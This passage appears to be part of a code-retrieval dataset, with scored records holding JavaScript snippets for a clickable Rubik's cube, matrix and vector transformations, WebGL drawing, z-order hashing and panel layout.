rubiksCube.pushTurn(\"D\");\n if (this.selectedFace1 === 6) rubiksCube.pushTurn(\"r\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [1, -1, -1]) || arraysEqual(this.selectedCube1.coordinates, [1, -1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [1, -1, 0]) || arraysEqual(this.selectedCube2.coordinates, [1, -1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 2) rubiksCube.pushTurn(\"d\");\n if (this.selectedFace1 === 6) rubiksCube.pushTurn(\"R\");\n }\n }\n\n // white && green\n if ((arraysEqual(this.selectedCube1.coordinates, [1, 1, 1]) || arraysEqual(this.selectedCube1.coordinates, [0, 1, 1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 1, 1]) || arraysEqual(this.selectedCube2.coordinates, [-1, 1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 1) rubiksCube.pushTurn(\"U\");\n if (this.selectedFace1 === 5) rubiksCube.pushTurn(\"f\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, 1, 1]) || arraysEqual(this.selectedCube1.coordinates, [0, 1, 1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 1, 1]) || arraysEqual(this.selectedCube2.coordinates, [1, 1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 1) rubiksCube.pushTurn(\"u\");\n if (this.selectedFace1 === 5) rubiksCube.pushTurn(\"F\");\n }\n }\n\n // yellow && green\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, 1, -1]) || arraysEqual(this.selectedCube1.coordinates, [0, 1, -1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 1, -1]) || arraysEqual(this.selectedCube2.coordinates, [1, 1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 3) rubiksCube.pushTurn(\"U\");\n if (this.selectedFace1 === 5) rubiksCube.pushTurn(\"b\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [1, 1, -1]) || arraysEqual(this.selectedCube1.coordinates, [0, 1, -1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 1, -1]) || arraysEqual(this.selectedCube2.coordinates, [-1, 1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 3) rubiksCube.pushTurn(\"u\");\n if (this.selectedFace1 === 5) rubiksCube.pushTurn(\"B\");\n }\n }\n\n // yellow && blue\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, -1, -1]) || arraysEqual(this.selectedCube1.coordinates, [0, -1, -1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, -1, -1]) || arraysEqual(this.selectedCube2.coordinates, [1, -1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 3) rubiksCube.pushTurn(\"d\");\n if (this.selectedFace1 === 6) rubiksCube.pushTurn(\"B\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [1, -1, -1]) || arraysEqual(this.selectedCube1.coordinates, [0, -1, -1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, -1, -1]) || arraysEqual(this.selectedCube2.coordinates, [-1, -1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 3) rubiksCube.pushTurn(\"D\");\n if (this.selectedFace1 === 6) rubiksCube.pushTurn(\"b\");\n }\n }\n\n // white && blue\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, -1, 1]) || arraysEqual(this.selectedCube1.coordinates, [0, -1, 1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, -1, 1]) || arraysEqual(this.selectedCube2.coordinates, [1, -1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 1) rubiksCube.pushTurn(\"D\");\n if (this.selectedFace1 === 6) rubiksCube.pushTurn(\"f\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [1, -1, 1]) || arraysEqual(this.selectedCube1.coordinates, [0, -1, 1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, -1, 1]) || arraysEqual(this.selectedCube2.coordinates, [-1, -1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 1) rubiksCube.pushTurn(\"d\");\n if (this.selectedFace1 === 6) rubiksCube.pushTurn(\"F\");\n }\n }\n\n // middle\n // green\n if ((arraysEqual(this.selectedCube1.coordinates, [0, 1, -1]) || arraysEqual(this.selectedCube1.coordinates, [0, 1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 1, 0]) || arraysEqual(this.selectedCube2.coordinates, [0, 1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 5) rubiksCube.pushTurn(\"M\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [0, 1, 1]) || arraysEqual(this.selectedCube1.coordinates, [0, 1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 1, 0]) || arraysEqual(this.selectedCube2.coordinates, [0, 1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 5) rubiksCube.pushTurn(\"m\");\n }\n }\n\n // white\n if ((arraysEqual(this.selectedCube1.coordinates, [0, 1, 1]) || arraysEqual(this.selectedCube1.coordinates, [0, 0, 1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 0, 1]) || arraysEqual(this.selectedCube2.coordinates, [0, -1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 1) rubiksCube.pushTurn(\"M\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [0, -1, 1]) || arraysEqual(this.selectedCube1.coordinates, [0, 0, 1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 0, 1]) || arraysEqual(this.selectedCube2.coordinates, [0, 1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 1) rubiksCube.pushTurn(\"m\");\n }\n }\n\n // blue\n if ((arraysEqual(this.selectedCube1.coordinates, [0, -1, 1]) || arraysEqual(this.selectedCube1.coordinates, [0, -1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, -1, 0]) || arraysEqual(this.selectedCube2.coordinates, [0, -1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 6) rubiksCube.pushTurn(\"M\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [0, -1, -1]) || arraysEqual(this.selectedCube1.coordinates, [0, -1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, -1, 0]) || arraysEqual(this.selectedCube2.coordinates, [0, -1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 6) rubiksCube.pushTurn(\"m\");\n }\n }\n\n // yellow\n if ((arraysEqual(this.selectedCube1.coordinates, [0, -1, -1]) || arraysEqual(this.selectedCube1.coordinates, [0, 0, -1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 0, -1]) || arraysEqual(this.selectedCube2.coordinates, [0, 1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 3) rubiksCube.pushTurn(\"M\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [0, 1, -1]) || arraysEqual(this.selectedCube1.coordinates, [0, 0, -1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 0, -1]) || arraysEqual(this.selectedCube2.coordinates, [0, -1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 3) rubiksCube.pushTurn(\"m\");\n }\n }\n\n // green\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, 1, 0]) || arraysEqual(this.selectedCube1.coordinates, [0, 1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 1, 0]) || arraysEqual(this.selectedCube2.coordinates, [1, 1, 0]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 5) rubiksCube.pushTurn(\"S\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [1, 1, 0]) || arraysEqual(this.selectedCube1.coordinates, [0, 1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 1, 0]) || arraysEqual(this.selectedCube2.coordinates, [-1, 1, 0]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 5) rubiksCube.pushTurn(\"s\");\n }\n }\n\n // red\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, -1, 0]) || arraysEqual(this.selectedCube1.coordinates, [-1, 0, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [-1, 0, 0]) || arraysEqual(this.selectedCube2.coordinates, [-1, 1, 0]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 4) rubiksCube.pushTurn(\"S\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, 1, 0]) || arraysEqual(this.selectedCube1.coordinates, [-1, 0, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [-1, 0, 0]) || arraysEqual(this.selectedCube2.coordinates, [-1, -1, 0]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 4) rubiksCube.pushTurn(\"s\");\n }\n }\n\n // blue\n if ((arraysEqual(this.selectedCube1.coordinates, [1, -1, 0]) || arraysEqual(this.selectedCube1.coordinates, [0, -1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, -1, 0]) || arraysEqual(this.selectedCube2.coordinates, [-1, -1, 0]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 6) rubiksCube.pushTurn(\"S\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, -1, 0]) || arraysEqual(this.selectedCube1.coordinates, [0, -1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, -1, 0]) || arraysEqual(this.selectedCube2.coordinates, [1, -1, 0]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 6) rubiksCube.pushTurn(\"s\");\n }\n }\n\n // orange\n if ((arraysEqual(this.selectedCube1.coordinates, [1, 1, 0]) || arraysEqual(this.selectedCube1.coordinates, [1, 0, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [1, 0, 0]) || arraysEqual(this.selectedCube2.coordinates, [1, -1, 0]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 2) rubiksCube.pushTurn(\"S\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [1, -1, 0]) || arraysEqual(this.selectedCube1.coordinates, [1, 0, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [1, 0, 0]) || arraysEqual(this.selectedCube2.coordinates, [1, 1, 0]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 2) rubiksCube.pushTurn(\"s\");\n }\n }\n\n // white\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, 0, 1]) || arraysEqual(this.selectedCube1.coordinates, [0, 0, 1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 0, 1]) || arraysEqual(this.selectedCube2.coordinates, [1, 0, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 1) rubiksCube.pushTurn(\"E\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [1, 0, 1]) || arraysEqual(this.selectedCube1.coordinates, [0, 0, 1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 0, 1]) || arraysEqual(this.selectedCube2.coordinates, [-1, 0, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 1) rubiksCube.pushTurn(\"e\");\n }\n }\n\n // orange\n if ((arraysEqual(this.selectedCube1.coordinates, [1, 0, 1]) || arraysEqual(this.selectedCube1.coordinates, [1, 0, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [1, 0, 0]) || arraysEqual(this.selectedCube2.coordinates, [1, 0, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 2) rubiksCube.pushTurn(\"E\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [1, 0, -1]) || arraysEqual(this.selectedCube1.coordinates, [1, 0, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [1, 0, 0]) || arraysEqual(this.selectedCube2.coordinates, [1, 0, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 2) rubiksCube.pushTurn(\"e\");\n }\n }\n\n // yellow\n if ((arraysEqual(this.selectedCube1.coordinates, [1, 0, -1]) || arraysEqual(this.selectedCube1.coordinates, [0, 0, -1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 0, -1]) || arraysEqual(this.selectedCube2.coordinates, [-1, 0, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 3) rubiksCube.pushTurn(\"E\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, 0, -1]) || arraysEqual(this.selectedCube1.coordinates, [0, 0, -1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [0, 0, -1]) || arraysEqual(this.selectedCube2.coordinates, [1, 0, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 3) rubiksCube.pushTurn(\"e\");\n }\n }\n\n // red\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, 0, -1]) || arraysEqual(this.selectedCube1.coordinates, [-1, 0, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [-1, 0, 0]) || arraysEqual(this.selectedCube2.coordinates, [-1, 0, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 4) rubiksCube.pushTurn(\"E\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, 0, 1]) || arraysEqual(this.selectedCube1.coordinates, [-1, 0, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [-1, 0, 0]) || arraysEqual(this.selectedCube2.coordinates, [-1, 0, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 4) rubiksCube.pushTurn(\"e\");\n }\n }\n }", "title": "" }, { "docid": "39ef0418a78f98eb85be132712b35299", "score": "0.5344788", "text": "getTranslatelessMatrix() {\n const mat = new Float32Array(this.viewMatrix)\n mat[12] = mat[13] = mat[14] = 0 //Reset Translation position in the matrix to zero\n return mat\n }", "title": "" }, { "docid": "f91c3abf07705c02d3b41553495315f8", "score": "0.53290445", "text": "function rotateMatrixTwo(matrix) {\n var edge = matrix.length - 1;\n \n function movePixels(row, col) {\n // starts at m[row][col]\n // moves to m[col][edge - row]\n var fromRow;\n var fromCol;\n var fromPixel;\n \n // first transformation\n var toRow = row; // 0\n var toCol = col; // 0\n var toPixel = matrix[row][col]; // 1\n\n // console.log('toRow', toRow)\n // console.log('toCol', toCol)\n // console.log('toPixel', toPixel, '\\n')\n \n // Do rotational transformation 4 times\n for (var i = 0; i < 4; i++) {\n // console.log('i', i)\n // console.log('old matrix', matrix)\n fromRow = toRow;\n fromCol = toCol;\n toRow = fromCol;\n toCol = edge - fromRow;\n\n // console.log('fromRow', fromRow)\n // console.log('fromCol', fromCol)\n // console.log('toRow', toRow)\n // console.log('toCol', toCol)\n \n fromPixel = toPixel;\n toPixel = matrix[toRow][toCol];\n matrix[toRow][toCol] = fromPixel;\n\n // console.log('fromPixel', fromPixel)\n // console.log('toPixel', toPixel)\n // console.log(`matrix[${toRow}][${toCol}]`, matrix[toRow][toCol])\n // console.log('matrix', matrix, '\\n')\n }\n }\n \n for (var i = 0; i < matrix.length / 2; i++) {\n for (var j = i; j < edge - i; j++) {\n console.log('row', i, 'col', j);\n movePixels(i, j);\n }\n }\n}", "title": "" }, { "docid": "85d5cf20790c12827ac134834896e44f", "score": "0.53205705", "text": "function translate(x, y, vr){\n\t\tvr= vr||v4.create();\n\t \t\n\t \tvar dot3= v4.dot3(x, y);\n\t \tvar xmul= +y[3] + dot3/(x[3]+1);\n\t \tvr[0]= xmul*x[0] + y[0];\n\t \tvr[1]= xmul*x[1] + y[1]; \n\t \tvr[2]= xmul*x[2] + y[2];\n\t \tvr[3]=+dot3 + x[3]*y[3];\n\t \t\n\t \treturn vr;\n\t}", "title": "" }, { "docid": "2a0a1eab430fd47047fbbd2d3ff89f1a", "score": "0.5314145", "text": "function translateTo2D(){\n\taxisX =$V([ox-ex, oy-ey, oz-ez]);\n\n\taxisX = axisX.toUnitVector();\n\n\tvecR = $V([px-ex,py-ey,pz-ez]);\n\t\n\n\tvecR = vecR.toUnitVector();\n\n\tvar axisZ = axisX.cross(vecR);\n\n\taxisZ = axisZ.toUnitVector();\n\n\tvar axisY = axisZ.cross(axisX);\n\n\t//alert(\"axisX.axisY =\"+ axisX.dot(axisY) +\" axisY.axisZ =\"+ axisY.dot(axisZ) +\" axisX.axisZ =\"+ axisX.dot(axisZ) )\n//\talert(\"X :[ \"+axisX.e(1)+\" \"+axisX.e(2)+\" \"+ axisX.e(3) +\"] \\n Y :[ \"+axisY.e(1)+\" \"+axisY.e(2)+\" \"+ axisY.e(3) +\"] \\n Z :[ \"+axisZ.e(1)+\" \"+axisZ.e(2)+\" \"+ axisZ.e(3)+\"]\" )\n\t\n\tvar tempO = $V([ox,oy,oz]);\n\t//alert(\"O :\"+ox+\" \"+ oy+ \" \"+ oz)\n\tox = axisX.dot(tempO);\n\t//alert(\"O :\"+ox+\" \"+ oy+ \" \"+ oz)\n\toy = axisY.dot(tempO);\n\t//alert(\"O :\"+ox+\" \"+ oy+ \" \"+ oz)\n\toz = axisZ.dot(tempO);\n\t\n\t\n\tvar tempE = $V([ex,ey,ez]);\n\tex = axisX.dot(tempE)\n\tey = axisY.dot(tempE)\n\tez = axisZ.dot(tempE)\n\t\n\t// we need to find the new point on the ray and ray direction\n\tvar tempP = $V([px,py,pz])\n\tpx = axisX.dot(tempP)\n\tpy = axisY.dot(tempP)\n\tpz = axisZ.dot(tempP)\n\t\n\tvecR = $V([px-ex,py-ey,pz-ez]);\n\n\tvecR = vecR.toUnitVector();\n}", "title": "" }, { "docid": "8bba1e94c28cf22c0541ba092e923567", "score": "0.5308205", "text": "updateMatrix() {\n // Order of ops is important\n // TransformedVector = TranslationMatrix * RotationMatrix * ScaleMatrix * OriginalVector;\n // !!! BEWARE !!! This lines actually performs the scaling FIRST, and THEN the rotation, and THEN the translation. This is how matrix multiplication works.\n\n this.matView.reset() // Back to identity matrix (1, 0, 0, 0 , 1 ...)\n .vtranslate(this.position)\n .rotateX(this.rotation.x * Transform.deg2Rad)\n .rotateZ(this.rotation.z * Transform.deg2Rad)\n .rotateY(this.rotation.y * Transform.deg2Rad)\n .vscale(this.scale)\n\n //Calculate the Normal Matrix which doesn't need translate, then transpose and inverse the mat4 to mat 3\n // this operates directly on this.matNormal\n Matrix4.normalMat3(this.matNormal, this.matView.raw)\n\n // Determine Direction after all the transformations.\n // Operate directly on our direction vec (first arg).\n Matrix4.transformVec4(this.forward, [0,0,1,0], this.matView.raw) //Z\n Matrix4.transformVec4(this.up, [0,0,1,0], this.matView.raw) //Y\n Matrix4.transformVec4(this.right, [0,0,1,0], this.matView.raw) //X\n\n return this.matView.raw\n }", "title": "" }, { "docid": "7a73a0fe39633fb18406e4316a65edbb", "score": "0.5291329", "text": "function translate(dx, dy, dz) {\n var translateMatrix = mat4.create();\n translateMatrix[3] = dx;\n translateMatrix[7] = dy;\n translateMatrix[11] = dz;\n //console.log(translateMatrix);\n mat4.transpose(translateMatrix, translateMatrix);\n return translateMatrix;\n}", "title": "" }, { "docid": "4fc671e8b2611814646ece1fe6d13d12", "score": "0.5286679", "text": "updateVertices()\n {\n const vertices = this._vertices;\n const center = this.center;\n const hw = this.hw;\n const hh = this.hh;\n if (this.noRotate)\n {\n const AABB = this.AABB;\n vertices[0] = AABB[0];\n vertices[1] = AABB[1];\n vertices[2] = AABB[2];\n vertices[3] = AABB[1];\n vertices[4] = AABB[2];\n vertices[5] = AABB[3];\n vertices[6] = AABB[0];\n vertices[7] = AABB[3];\n }\n else\n {\n const rotation = this.rotation.rotation;\n const sin = Math.sin(rotation);\n const cos = Math.cos(rotation);\n\n vertices[0] = center.x - hw * cos + hh * sin;\n vertices[1] = center.y - hw * sin - hh * cos;\n vertices[2] = center.x + hw * cos + hh * sin;\n vertices[3] = center.y + hw * sin - hh * cos;\n vertices[4] = center.x + hw * cos - hh * sin;\n vertices[5] = center.y + hw * sin + hh * cos;\n vertices[6] = center.x - hw * cos - hh * sin;\n vertices[7] = center.y - hw * sin + hh * cos;\n }\n this.verticesDirty = false;\n }", "title": "" }, { "docid": "a6ed955d959c9308a1034b8a773509f4", "score": "0.5281988", "text": "function flipField(field)\n{\n if (field == null || field.length == 0)\n {\n return null;\n }\n\n var maxRow = field.length / 2;\n if (field.length % 2 == 1)\n {\n maxRow++;\n }\n\n for (var row = 0; row < maxRow; row++)\n {\n for (var col = 0; col < field[row].length; col++)\n {\n var coord1 =\n {\n row : row,\n col : col\n };\n var coord2 = flipCoordinate(coord1, field.length, field[row].length);\n var temp = field[row][col];\n field[row][col] = field[coord2.row][coord2.col];\n field[coord2.row][coord2.col] = temp;\n }\n }\n return field;\n}", "title": "" }, { "docid": "73e641e943eb9b90f17e0a0d536c5e01", "score": "0.5279299", "text": "static pointToWorldSpace (vPoint, vAgentHeading, vAgentSide, vAgentPosition) {\n // make a copy of the point\n var transPoint = new Vector2D(vPoint);\n\n // create a transformation matrix\n var matTransform = new C2DMatrix();\n\n // rotate\n matTransform.rotate(vAgentHeading, vAgentSide);\n\n // and translate\n matTransform.translate(vAgentPosition.x, vAgentPosition.y);\n\n // now transform the vertices\n matTransform.transformVector2D(transPoint);\n\n return transPoint;\n }", "title": "" }, { "docid": "0ca96ff37125aac2a3fe81a9f530c9ea", "score": "0.5278481", "text": "function zOrder(x, y, minX, minY, invSize) {\n // coords are transformed into non-negative 15-bit integer range\n x = 32767 * (x - minX) * invSize;\n y = 32767 * (y - minY) * invSize;\n\n x = (x | x << 8) & 0x00FF00FF;\n x = (x | x << 4) & 0x0F0F0F0F;\n x = (x | x << 2) & 0x33333333;\n x = (x | x << 1) & 0x55555555;\n\n y = (y | y << 8) & 0x00FF00FF;\n y = (y | y << 4) & 0x0F0F0F0F;\n y = (y | y << 2) & 0x33333333;\n y = (y | y << 1) & 0x55555555;\n\n return x | y << 1;\n}", "title": "" }, { "docid": "8b930b7e5345fb7f3056f0d4537c6be5", "score": "0.52709365", "text": "fromMatrix(vMatrix, pMatrix) {\n const vpMatrix = mat4.create()\n mat4.multiply(vpMatrix, pMatrix, vMatrix)\n const row1 = vec3.fromValues(vpMatrix[0], vpMatrix[4], vpMatrix[8]) //12\n const row2 = vec3.fromValues(vpMatrix[1], vpMatrix[5], vpMatrix[9]) //13\n const row3 = vec3.fromValues(vpMatrix[2], vpMatrix[6], vpMatrix[10]) //14\n const row4 = vec3.fromValues(vpMatrix[3], vpMatrix[7], vpMatrix[11]) //15\n vec3.add(this.left.normal, row4, row1)\n vec3.subtract(this.right.normal, row4, row1)\n vec3.add(this.bottom.normal, row4, row2)\n vec3.subtract(this.top.normal, row4, row2)\n vec3.add(this.near.normal, row4, row3)\n vec3.subtract(this.far.normal, row4, row3)\n\n this.left.distance = vpMatrix[15] + vpMatrix[12]\n this.right.distance = vpMatrix[15] - vpMatrix[12]\n this.bottom.distance = vpMatrix[15] + vpMatrix[13]\n this.top.distance = vpMatrix[15] - vpMatrix[13]\n this.near.distance = vpMatrix[15] + vpMatrix[14]\n this.far.distance = vpMatrix[15] - vpMatrix[14]\n\n for(let i = 0; i < 6; ++i) {\n let magnitude = 1 / vec3.length(this.planes[i].normal)\n vec3.scale(this.planes[i].normal, this.planes[i].normal, magnitude)\n this.planes[i].distance *= magnitude\n }\n return this\n }", "title": "" }, { "docid": "b037792c789a6522174eb380355c651b", "score": "0.52649206", "text": "inverse(xy) {\n return xy;\n }", "title": "" }, { "docid": "4963477f20bf70095e7bbe4a2bac97c2", "score": "0.52626306", "text": "function draw() { \n gl.viewport(0, 0, gl.viewportWidth, gl.viewportHeight);\n gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT); \n\n mat4.identity(mvMatrix);\n mat4.identity(pMatrix);\n \n /*\n mat4.ortho(pMatrix,-1,0.7,-0.5,0.9,0.2,-1);\n vec3.set(transformVec,0.0,0.0,0.0);\n mat4.translate(mvMatrix, mvMatrix,transformVec); \n //console.log(mat4.str(pMatrix));\n mat4.rotateX(mvMatrix, mvMatrix, degToRad(rotAngle)); \n */\n mat4.perspective(pMatrix,degToRad(100), 0.8 , 0.2, 100.0);\n vec3.set(transformVec,0.0,0.0,-1);\n mat4.translate(mvMatrix, mvMatrix,transformVec);\n //console.log(mat4.str(pMatrix));\n mat4.rotateX(mvMatrix, mvMatrix, degToRad(rotAngle)); \n \n\n \n gl.bindBuffer(gl.ARRAY_BUFFER, vertexPositionBuffer);\n gl.vertexAttribPointer(shaderProgram.vertexPositionAttribute, \n vertexPositionBuffer.itemSize, gl.FLOAT, false, 0, 0);\n gl.bindBuffer(gl.ARRAY_BUFFER, vertexColorBuffer);\n gl.vertexAttribPointer(shaderProgram.vertexColorAttribute, \n vertexColorBuffer.itemSize, gl.FLOAT, false, 0, 0);\n \n setMatrixUniforms();\n gl.drawArrays(gl.TRIANGLES, 0, vertexPositionBuffer.numberOfItems);\n}", "title": "" }, { "docid": "ee65c0536395ea0474b330ecbd4eb3a5", "score": "0.52584076", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n \t// coords are transformed into non-negative 15-bit integer range\n \tx = 32767 * ( x - minX ) * invSize;\n \ty = 32767 * ( y - minY ) * invSize;\n\n \tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n \tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n \tx = ( x | ( x << 2 ) ) & 0x33333333;\n \tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n \ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n \ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n \ty = ( y | ( y << 2 ) ) & 0x33333333;\n \ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n \treturn x | ( y << 1 );\n\n }", "title": "" }, { "docid": "ee65c0536395ea0474b330ecbd4eb3a5", "score": "0.52584076", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n \t// coords are transformed into non-negative 15-bit integer range\n \tx = 32767 * ( x - minX ) * invSize;\n \ty = 32767 * ( y - minY ) * invSize;\n\n \tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n \tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n \tx = ( x | ( x << 2 ) ) & 0x33333333;\n \tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n \ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n \ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n \ty = ( y | ( y << 2 ) ) & 0x33333333;\n \ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n \treturn x | ( y << 1 );\n\n }", "title": "" }, { "docid": "f9e9c54c5685c7b5febac8bd411db7d2", "score": "0.52568203", "text": "function setupSide(m, z, s, slope) {\n\tlet panels = z.panels;\n\tlet xx = yy = s; // origin is at (s, s)\n\tlet xx0 = 0;\n\tlet yy0 = 0;\n\t//console.log(l);\n\n\tfor (j = 0; j < panels.length; j++) {\n\t\tlet panel = panels[j];\n\n\t\tlet northEast = (slope == +1) && (panel.anchor == \"start\");\n\t\tlet northWest = (slope == -1) && (panel.anchor == \"end\");\n\t\tlet southEast = (slope == -1) && (panel.anchor == \"start\");\n\t\tlet southWest = (slope == +1) && (panel.anchor == \"end\");\n\n\t\tlet upperHalf = northEast || northWest;\n\t\tlet lowerHalf = southEast || southWest;\n\n\t\tlet leftHalf = northWest || southWest;\n\t\tlet rightHalf = northEast || southEast;\n\n\t\t// At each entry store the slope, so consecutive entries staircase\n\t\t// in the right direction.\n\t\tfor (let e = 0; e < panel.entries.length; e++) {\n\t\t\tpanel.entries[e].slope = slope;\n\t\t\tpanel.entries[e].dxIndex = 1.5 * (upperHalf ? -slope : slope);\n\t\t}\n\n\t\t// At each panel, store local transformation strings.\n\t\t// Used by both both panels and gridLines.\n\t\t// Since panels and grids all draw from (0,0), they need to\n\t\t// nudge themselves #rows left&down when flipped vertically and\n\t\t// #rows right&down when flipped both vertically & horizontally.\n\t\tlet nudgeX = upperHalf ? 0 : 2 * slope * panel.entries.length;\n\t\tlet nudgeY = slope * nudgeX;\n\t\t// Flip left-right when we are in the left side.\n\t\tlet scaleX = rightHalf ? +1 : -1;\n\t\t// Flip up-down when we are in the lower half.\n\t\tlet scaleY = upperHalf ? +1 : -1;\n\n\t\t// Add local transformation string for panel or gridLines.\n\t\tpanel.originPanel = translate(nudgeX, nudgeY) + scale(scaleX, scaleY);\n\n\t\t// At panel, create and store string for panel path.\n\t\tpanel.panelPath = panelPath(panel.entries.length, z.leg, m.arm);\n\n\t\t// At panel, create and store a path string for grid lines\n\t\tpanel.gridLines = gridLines(panel.entries.length, z.leg, m.arm);\n\n\t\t//-------------------------------------------------------------------\n\t\t// At each panel, store its origin (x0, y0).\n\t\t// Panels, grid lines and text entries all render relative to this origin,\n\t\t// and locally nudge into place if needed .\n\n\t\t// Add a gap before every panel but the first one.\n\t\tif (j > 0) {\n\t\t\txx += m.gap * slope;\n\t\t\tyy += m.gap;\n\t\t}\n\n\t\t// Calculate actual coordinates, moving padding away from the 